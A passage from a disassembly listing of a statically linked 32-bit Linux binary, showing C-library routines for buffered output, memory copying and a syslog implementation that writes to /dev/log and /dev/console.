short loc_8054BD6 add [ebp+var_5C], ebx jmp short loc_8054BEA ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054B84: ; CODE XREF: sub_8053310+18D8j movzx esi, byte ptr [edi] inc edi mov edx, [ebp+arg_0] mov edx, [edx+14h] mov ecx, [ebp+arg_0] cmp [ecx+18h], edx ja short loc_8054BB4 mov eax, esi movzx esi, al mov [ebp+var_9C], esi push esi push ecx call sub_8061910 mov esi, eax add esp, 8 cmp esi, 0FFFFFFFFh jz short loc_8054BD6 jmp short loc_8054BE0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054BB4: ; CODE XREF: sub_8053310+1884j mov edx, [ebp+arg_0] mov edx, [edx+14h] mov ecx, esi mov byte ptr [ebp+var_A0], cl mov [edx], cl movzx eax, byte ptr [ebp+var_A0] mov edx, [ebp+arg_0] inc dword ptr [edx+14h] cmp eax, 0FFFFFFFFh jnz short loc_8054BE0 loc_8054BD6: ; CODE XREF: sub_8053310+266j ; sub_8053310+293j ... mov eax, 0FFFFFFFFh jmp short loc_8054C1B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054BE0: ; CODE XREF: sub_8053310+18A2j ; sub_8053310+18C4j inc [ebp+var_5C] loc_8054BE3: ; CODE XREF: sub_8053310+1853j mov eax, ebx dec ebx test eax, eax jnz short loc_8054B84 loc_8054BEA: ; CODE XREF: sub_8053310+1872j mov ecx, [ebp+arg_4] cmp dword ptr [ecx+20h], 0 jz short loc_8054C18 cmp [ebp+var_78], 0 jle short loc_8054C18 mov eax, [ebp+var_78] push eax movzx edx, byte ptr [ecx+2Ch] push edx mov ecx, [ebp+arg_0] push ecx call sub_8062534 mov ebx, eax cmp [ebp+var_78], ebx jnz short loc_8054BD6 mov eax, [ebp+var_78] add [ebp+var_5C], eax loc_8054C18: ; CODE XREF: sub_8053310+387j ; sub_8053310+38Fj ... mov eax, [ebp+var_5C] loc_8054C1B: ; CODE XREF: sub_8053310+18CBj lea esp, [ebp+var_164] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8053310 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8054C28 proc near ; CODE XREF: sub_8053310+1252p ; sub_8054C7C+15p var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 push esi push ebx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] cmp byte ptr [edx], 0FFh jz short loc_8054C40 cmp byte ptr [edx], 0 jnz short loc_8054C58 loc_8054C40: ; CODE XREF: sub_8054C28+11j xor eax, eax jmp short loc_8054C73 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054C44: ; CODE XREF: sub_8054C28+40j movzx edx, byte ptr [edx-1] mov [ebp+var_4], edx mov eax, ecx xor edx, edx div [ebp+var_4] mov ecx, eax add ebx, ecx jmp short loc_8054C71 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054C58: ; CODE XREF: sub_8054C28+16j xor ebx, ebx jmp short loc_8054C6A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054C5C: ; CODE XREF: sub_8054C28+47j inc ebx sub ecx, esi inc edx cmp byte ptr [edx], 0FFh jz short loc_8054C71 cmp byte ptr [edx], 0 jz short loc_8054C44 loc_8054C6A: ; CODE XREF: sub_8054C28+32j movzx esi, byte ptr [edx] cmp ecx, esi ja short loc_8054C5C loc_8054C71: ; CODE XREF: sub_8054C28+2Ej ; sub_8054C28+3Bj mov eax, ebx loc_8054C73: ; CODE XREF: sub_8054C28+1Aj lea esp, [ebp+var_C] pop ebx pop esi mov esp, ebp pop ebp retn sub_8054C28 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8054C7C proc near ; CODE XREF: sub_8053310+165Fp var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov esi, [ebp+arg_8] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_10] push ebx push edi push esi call sub_8054C28 mov [ebp+var_4], eax add esp, 0Ch test eax, eax jnz short loc_8054CA8 mov eax, [ebp+arg_4] jmp loc_8054DAD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054CA8: ; CODE XREF: sub_8054C7C+22j mov ebx, [ebp+arg_0] add ebx, esi mov eax, [ebp+arg_4] sub eax, ebx push eax push ebx add ebx, [ebp+var_4] push ebx call sub_8056570 lea edx, [ebx-1] loc_8054CC0: ; CODE XREF: sub_8054C7C+C2j movzx ecx, byte ptr [edi] inc edi mov eax, ecx neg eax and eax, 3 test ecx, ecx jle short loc_8054CF3 test eax, eax jz short loc_8054D00 cmp eax, 3 jge short loc_8054CF3 cmp eax, 2 jge short loc_8054CE8 dec esi mov ebx, [ebp+arg_0] mov al, [esi+ebx] mov [edx], al dec edx dec ecx loc_8054CE8: ; CODE XREF: sub_8054C7C+5Fj dec esi mov ebx, [ebp+arg_0] mov al, [esi+ebx] mov [edx], al dec edx dec ecx loc_8054CF3: ; CODE XREF: sub_8054C7C+51j ; sub_8054C7C+5Aj dec esi mov ebx, [ebp+arg_0] mov al, [esi+ebx] mov [edx], al dec edx dec ecx jz short loc_8054D28 loc_8054D00: ; CODE XREF: sub_8054C7C+55j ; sub_8054C7C+AAj mov ebx, [ebp+arg_0] mov al, [ebx+esi-1] mov [edx], al mov al, [ebx+esi-2] mov [edx-1], al mov al, [ebx+esi-3] mov [edx-2], al add esi, 0FFFFFFFCh mov al, [esi+ebx] mov [edx-3], al add edx, 0FFFFFFFCh add ecx, 0FFFFFFFCh jnz short loc_8054D00 loc_8054D28: ; CODE XREF: sub_8054C7C+82j mov al, byte ptr [ebp+arg_10] mov [edx], al dec edx cmp byte ptr [edi], 0FFh jz short loc_8054D40 cmp byte ptr [edi], 0 jnz short loc_8054D39 dec edi loc_8054D39: ; CODE XREF: sub_8054C7C+BAj movzx eax, byte ptr [edi] cmp esi, eax ja short loc_8054CC0 loc_8054D40: ; CODE XREF: sub_8054C7C+B5j mov eax, [ebp+arg_0] sub eax, edx and eax, 3 cmp [ebp+arg_0], edx jge short loc_8054D6F test eax, eax jz short loc_8054D80 cmp eax, 3 jge short loc_8054D6F cmp eax, 2 jge short loc_8054D65 dec esi mov ebx, [ebp+arg_0] mov al, [esi+ebx] mov [edx], al dec edx loc_8054D65: ; CODE XREF: sub_8054C7C+DDj dec esi mov ebx, [ebp+arg_0] mov al, [esi+ebx] mov [edx], al dec edx loc_8054D6F: ; CODE XREF: sub_8054C7C+CFj ; sub_8054C7C+D8j dec esi mov ebx, [ebp+arg_0] mov al, [esi+ebx] mov [edx], al dec edx cmp edx, ebx jbe short loc_8054DA7 db 8Dh,76h,0 ; lea esi, [esi+0] loc_8054D80: ; CODE XREF: sub_8054C7C+D3j ; sub_8054C7C+129j mov ebx, [ebp+arg_0] mov al, [ebx+esi-1] mov [edx], al mov al, [ebx+esi-2] mov [edx-1], al mov al, [ebx+esi-3] mov [edx-2], al add esi, 0FFFFFFFCh mov al, [esi+ebx] mov [edx-3], al add edx, 0FFFFFFFCh cmp edx, ebx ja short loc_8054D80 loc_8054DA7: ; CODE XREF: sub_8054C7C+FFj mov eax, [ebp+arg_4] add eax, [ebp+var_4] loc_8054DAD: ; CODE XREF: sub_8054C7C+27j lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8054C7C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8054DB8 proc near ; CODE XREF: sub_804C538+2Ap arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, [ebp+arg_0] test edx, edx jnz short loc_8054DD0 loc_8054DC2: ; CODE XREF: sub_8054DB8+24j mov __errno, 16h mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054DD0: ; CODE XREF: sub_8054DB8+8j mov eax, [edx] and eax, 0FFFF0000h cmp eax, 0FBAD0000h jnz short loc_8054DC2 push 3 push 0 push 0 push edx call sub_806267C mov esp, ebp pop ebp retn sub_8054DB8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8054DF0 proc near ; CODE XREF: sub_804E490+49p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] push 400h push eax push edx call sub_80626C8 mov esp, ebp pop ebp retn sub_8054DF0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8054E0C proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] cmp eax, 0FFh ja short loc_8054E40 mov dword_807888C, offset dword_807A858 mov ds:dword_807E78C[eax*4], edx mov ds:dword_807A858[eax*4], ecx xor eax, eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054E40: ; CODE XREF: sub_8054E0C+11j mov __errno, 16h mov eax, 0FFFFFFFFh mov esp, ebp pop ebp retn sub_8054E0C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8054E54 proc near ; CODE XREF: sub_8054EC8+366p ; sub_8055374+5p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] mov eax, dword_8078894 push eax call close mov dword_8078894, 0FFFFFFFFh mov ds:dword_807AC58, 0 test ebx, ebx jz short loc_8054EA6 mov dword_8078898, 0 mov dword_807889C, offset aSyslog ; "syslog" mov dword_80788A0, 8 mov dword_80788A4, 0FFh loc_8054EA6: ; CODE XREF: sub_8054E54+28j mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8054E54 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8054EB0 proc near ; CODE XREF: getanswer+280p ; getanswer+3CEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] lea eax, [ebp+arg_8] push eax push edx push ecx call sub_8054EC8 mov esp, ebp pop ebp retn sub_8054EB0 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8054EC8 proc near ; CODE XREF: sub_8054EB0+Fp var_C30 = byte ptr -0C30h var_C24 = byte ptr -0C24h var_C20 = dword ptr -0C20h var_C1C = dword ptr -0C1Ch var_C18 = dword ptr -0C18h var_C14 = dword ptr -0C14h var_C10 = dword ptr -0C10h var_C0C = dword ptr -0C0Ch var_C08 = dword ptr -0C08h var_C04 = byte ptr -0C04h var_C00 = byte ptr -0C00h var_802 = byte ptr -802h var_801 = byte ptr -801h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0C24h push edi push esi push ebx mov esi, [ebp+arg_0] mov edx, __errno mov [ebp+var_C1C], edx mov ecx, esi and ecx, 7 mov eax, dword_80788A4 sar eax, cl test al, 1 jz loc_80552A1 test esi, 0FFFFFC00h jnz loc_80552A1 cmp dword_8078894, 0 jl short loc_8054F15 cmp ds:dword_807AC58, 0 jnz short loc_8054F2D loc_8054F15: ; CODE XREF: sub_8054EC8+42j push 0 mov eax, dword_8078898 or al, 8 push eax mov eax, dword_807889C push eax call sub_80552B0 add esp, 0Ch loc_8054F2D: ; CODE XREF: sub_8054EC8+4Bj test esi, 3F8h jnz short loc_8054F3B or esi, dword_80788A0 loc_8054F3B: ; CODE XREF: sub_8054EC8+6Bj lea ebx, [ebp+var_C04] push ebx call time push ebx call sub_805B548 add eax, 4 push eax push esi push offset aD_15s ; "<%d>%.15s " push 800h lea ebx, [ebp+var_800] push ebx call sub_8062888 mov esi, ebx add esp, 1Ch cmp [ebp+var_800], 0 jz short loc_8054F7E lea esi, [esi] loc_8054F78: ; CODE XREF: sub_8054EC8+B4j inc esi cmp byte ptr [esi], 0 jnz short loc_8054F78 loc_8054F7E: ; CODE XREF: sub_8054EC8+ACj test byte ptr dword_8078898, 20h jz short loc_8054F8D mov [ebp+var_C20], esi loc_8054F8D: ; CODE XREF: sub_8054EC8+BDj cmp dword_807889C, 0 jz short loc_8054FB2 mov eax, dword_807889C push eax push esi call strcpy add esp, 8 cmp byte ptr [esi], 0 jz short loc_8054FB2 lea esi, [esi] loc_8054FAC: ; CODE XREF: sub_8054EC8+E8j inc esi cmp byte ptr [esi], 0 jnz short loc_8054FAC loc_8054FB2: ; CODE XREF: sub_8054EC8+CCj ; sub_8054EC8+E0j test byte ptr dword_8078898, 1 jz short loc_8054FE2 call getpid push eax push offset aD ; "[%d]" mov eax, ebp sub eax, esi push eax push esi call sub_8062888 add esp, 10h cmp byte ptr [esi], 0 jz short loc_8054FE2 db 8Dh,76h,0 ; lea esi, [esi+0] loc_8054FDC: ; CODE XREF: sub_8054EC8+118j inc esi cmp byte ptr [esi], 0 jnz short loc_8054FDC loc_8054FE2: ; CODE XREF: sub_8054EC8+F1j ; sub_8054EC8+10Fj cmp dword_807889C, 0 jz short loc_8054FF6 mov byte ptr [esi], 3Ah inc esi mov byte ptr [esi], 20h inc esi mov byte ptr [esi], 0 loc_8054FF6: ; CODE XREF: sub_8054EC8+121j lea ebx, [ebp+var_C00] jmp loc_8055108 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8055004: ; CODE XREF: sub_8054EC8+24Dj lea eax, [ebp+var_801] cmp ebx, eax jnb loc_805511B cmp [ebp+var_C24], 25h jnz loc_80550FC mov edx, [ebp+arg_4] cmp byte ptr [edx+1], 25h jnz short loc_8055074 lea eax, [ebp+var_802] cmp ebx, eax jnb short loc_8055044 mov byte ptr [ebx], 25h inc ebx mov byte ptr [ebx], 25h inc ebx inc edx mov [ebp+arg_4], edx jmp loc_8055105 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8055044: ; CODE XREF: sub_8054EC8+168j push offset aTruncated ; "[truncated] " push 800h lea eax, [ebp+var_800] push eax call sub_80553A0 add esp, 0Ch cmp byte ptr [esi], 0 jz loc_805511B lea esi, [esi] loc_8055068: ; CODE XREF: sub_8054EC8+1A4j inc esi cmp byte ptr [esi], 0 jnz short loc_8055068 jmp loc_805511B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8055074: ; CODE XREF: sub_8054EC8+15Ej cmp [ebp+var_C24], 25h jnz short loc_80550FC mov edx, [ebp+arg_4] cmp byte ptr [edx+1], 6Dh jnz short loc_80550FC inc edx mov [ebp+arg_4], edx mov eax, ebp sub eax, ebx lea edi, [eax-800h] mov edx, [ebp+var_C1C] push edx call sub_80566A4 push eax push offset aS ; "%s" push edi push ebx call sub_8062888 add esp, 14h cmp eax, 0FFFFFFFFh jz short loc_80550B9 cmp eax, edi jle short loc_80550EC loc_80550B9: ; CODE XREF: sub_8054EC8+1EBj push offset aTruncated ; "[truncated] " push 800h lea eax, [ebp+var_800] push eax call sub_80553A0 add esp, 0Ch cmp byte ptr [esi], 0 jz short loc_80550DE nop loc_80550D8: ; CODE XREF: sub_8054EC8+214j inc esi cmp byte ptr [esi], 0 jnz short loc_80550D8 loc_80550DE: ; CODE XREF: sub_8054EC8+20Dj cmp byte ptr [ebx], 0 jz short loc_805511B nop loc_80550E4: ; CODE XREF: sub_8054EC8+220j inc ebx cmp byte ptr [ebx], 0 jnz short loc_80550E4 jmp short loc_805511B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80550EC: ; CODE XREF: sub_8054EC8+1EFj cmp byte ptr [ebx], 0 jz short loc_8055105 db 8Dh,76h,0 ; lea esi, [esi+0] loc_80550F4: ; CODE XREF: sub_8054EC8+230j inc ebx cmp byte ptr [ebx], 0 jnz short loc_80550F4 jmp short loc_8055105 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80550FC: ; CODE XREF: sub_8054EC8+151j ; sub_8054EC8+1B3j ... mov dl, [ebp+var_C24] mov [ebx], dl inc ebx loc_8055105: ; CODE XREF: sub_8054EC8+176j ; sub_8054EC8+227j ... inc [ebp+arg_4] loc_8055108: ; CODE XREF: sub_8054EC8+134j mov edx, [ebp+arg_4] mov dl, [edx] mov [ebp+var_C24], dl test dl, dl jnz loc_8055004 loc_805511B: ; CODE XREF: sub_8054EC8+144j ; sub_8054EC8+198j ... mov byte ptr [ebx], 0 cmp [ebp+var_C24], 0 jz short loc_805514E push offset aTruncated ; "[truncated] " push 800h lea eax, [ebp+var_800] push eax call sub_80553A0 add esp, 0Ch cmp byte ptr [esi], 0 jz short loc_805514E db 8Dh,76h,0 ; lea esi, [esi+0] loc_8055148: ; CODE XREF: sub_8054EC8+284j inc esi cmp byte ptr [esi], 0 jnz short loc_8055148 loc_805514E: ; CODE XREF: sub_8054EC8+25Dj ; sub_8054EC8+27Bj mov edi, ebp sub edi, esi mov edx, [ebp+arg_8] push edx lea eax, [ebp+var_C00] push eax push edi push esi call sub_80628A8 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_8055170 cmp eax, edi jle short loc_805518D loc_8055170: ; CODE XREF: sub_8054EC8+2A2j push offset aTruncated ; "[truncated] " push 800h lea eax, [ebp+var_800] push eax call sub_80553A0 add esp, 0Ch jmp short loc_805518D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805518C: ; CODE XREF: sub_8054EC8+2C8j inc esi loc_805518D: ; CODE XREF: sub_8054EC8+2A6j ; sub_8054EC8+2C1j cmp byte ptr [esi], 0 jnz short loc_805518C lea eax, [ebp+var_800] sub esi, eax mov [ebp+var_C18], esi test byte ptr dword_8078898, 20h jz short loc_80551EE mov edx, [ebp+var_C20] mov [ebp+var_C14], edx sub edx, eax mov eax, edx mov edx, [ebp+var_C18] sub edx, eax mov [ebp+var_C10], edx mov [ebp+var_C0C], offset asc_8067FB3 ; "\n" mov [ebp+var_C08], 1 push 2 lea eax, [ebp+var_C14] push eax push 2 call sub_8056E70 add esp, 0Ch loc_80551EE: ; CODE XREF: sub_8054EC8+2DFj lea esi, [ebp+var_800] mov ebx, [ebp+var_C18] add ebx, esi loc_80551FC: ; CODE XREF: sub_8054EC8+374j mov eax, ebx sub eax, esi inc eax push eax push esi mov eax, dword_8078894 push eax call write add esp, 0Ch test eax, eax jge short loc_8055238 cmp __errno, 0Bh jz short loc_8055227 cmp __errno, 4 jnz short loc_805522C loc_8055227: ; CODE XREF: sub_8054EC8+354j xor eax, eax jmp short loc_8055238 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805522C: ; CODE XREF: sub_8054EC8+35Dj push 0 call sub_8054E54 add esp, 4 jmp short loc_805523E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8055238: ; CODE XREF: sub_8054EC8+34Bj ; sub_8054EC8+361j add esi, eax cmp esi, ebx jbe short loc_80551FC loc_805523E: ; CODE XREF: sub_8054EC8+36Ej cmp esi, ebx ja short loc_80552A1 test byte ptr dword_8078898, 2 jz short loc_80552A1 push 0 push 1 push offset aDevConsole ; "/dev/console" call open mov edi, eax add esp, 0Ch test edi, edi jl short loc_80552A1 push offset asc_8067FC2 ; "\r\n" lea ebx, [ebp+var_800] push ebx call sub_80577C0 add [ebp+var_C18], 2 push 3Eh push ebx call strchr lea esi, [eax+1] mov eax, esi sub eax, ebx mov edx, [ebp+var_C18] sub edx, eax mov eax, edx push eax push esi push edi call write push edi call close loc_80552A1: ; CODE XREF: sub_8054EC8+29j ; sub_8054EC8+35j ... lea esp, [ebp+var_C30] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8054EC8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80552B0 proc near ; CODE XREF: gethostbyaddr+207p ; sub_8054EC8+5Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi mov edx, [ebp+arg_0] mov ecx, [ebp+arg_4] mov eax, [ebp+arg_8] test edx, edx jz short loc_80552C7 mov dword_807889C, edx loc_80552C7: ; CODE XREF: sub_80552B0+Fj mov dword_8078898, ecx test eax, eax jz short loc_80552DD test eax, 0FFFFFC07h jnz short loc_80552DD mov dword_80788A0, eax loc_80552DD: ; CODE XREF: sub_80552B0+1Fj ; sub_80552B0+26j cmp dword_8078894, 0FFFFFFFFh jnz short loc_805532D mov ds:word_807AC5C, 1 push 0Eh push offset aDevLog ; "/dev/log" push offset unk_807AC5E call strncpy add esp, 0Ch test byte ptr dword_8078898, 8 jz short loc_8055324 push 0 push 1 push 1 call socket mov dword_8078894, eax add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_805536A loc_8055324: ; CODE XREF: sub_80552B0+5Aj cmp dword_8078894, 0FFFFFFFFh jz short loc_805536A loc_805532D: ; CODE XREF: sub_80552B0+34j cmp ds:dword_807AC58, 0 jnz short loc_805536A xor al, al mov edi, offset unk_807AC5E cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax inc eax push eax push offset word_807AC5C mov eax, dword_8078894 push eax call connect cmp eax, 0FFFFFFFFh jz short loc_805536A mov ds:dword_807AC58, 1 loc_805536A: ; CODE XREF: sub_80552B0+72j ; sub_80552B0+7Bj ... mov edi, [ebp+var_4] mov esp, ebp pop ebp retn sub_80552B0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8055374 proc near push ebp mov ebp, esp push 1 call sub_8054E54 mov esp, ebp pop ebp retn sub_8055374 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8055384 proc near arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, dword_80788A4 test edx, edx jz short loc_8055399 mov dword_80788A4, edx loc_8055399: ; CODE XREF: sub_8055384+Dj mov esp, ebp pop ebp retn sub_8055384 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80553A0 proc near ; CODE XREF: sub_8054EC8+18Dp ; sub_8054EC8+202p ... var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx cmp [ebp+arg_0], 0 jz loc_80555A4 cmp [ebp+arg_8], 0 jz loc_80555A4 xor al, al mov edi, [ebp+arg_8] cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax lea edi, [eax-1] test edi, edi jz loc_80555A4 mov ebx, [ebp+arg_0] cmp byte ptr [ebx], 3Ch jnz short loc_8055431 movzx edx, byte ptr [ebx+1] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 8 jz short loc_8055431 cmp byte ptr [ebx+2], 3Eh jnz short loc_80553FC add ebx, 3 jmp short loc_8055431 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80553FC: ; CODE XREF: sub_80553A0+55j movzx edx, byte ptr [ebx+2] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 8 jz short loc_8055431 cmp byte ptr [ebx+3], 3Eh jnz short loc_8055418 add ebx, 4 jmp short loc_8055431 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8055418: ; CODE XREF: sub_80553A0+70j movzx edx, byte ptr [ebx+3] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 8 jz short loc_8055431 cmp byte ptr [ebx+4], 3Eh jnz short loc_8055431 add ebx, 5 loc_8055431: ; CODE XREF: sub_80553A0+3Fj ; sub_80553A0+4Fj ... movzx eax, byte ptr [ebx] mov edx, dword_8078FA0 test byte ptr [edx+eax*2+1], 4 jz loc_80554E8 movzx eax, byte ptr [ebx+1] test byte ptr [edx+eax*2+1], 4 jz loc_80554E8 movzx eax, byte ptr [ebx+2] test byte ptr [edx+eax*2+1], 4 jz loc_80554E8 cmp byte ptr [ebx+3], 20h jnz short loc_80554E8 cmp byte ptr [ebx+4], 20h jz short loc_805547A movzx eax, byte ptr [ebx+4] test byte ptr [edx+eax*2+1], 8 jz short loc_80554E8 loc_805547A: ; CODE XREF: sub_80553A0+CDj movzx eax, byte ptr [ebx+5] mov edx, dword_8078FA0 test byte ptr [edx+eax*2+1], 8 jz short loc_80554E8 cmp byte ptr [ebx+6], 20h jnz short loc_80554E8 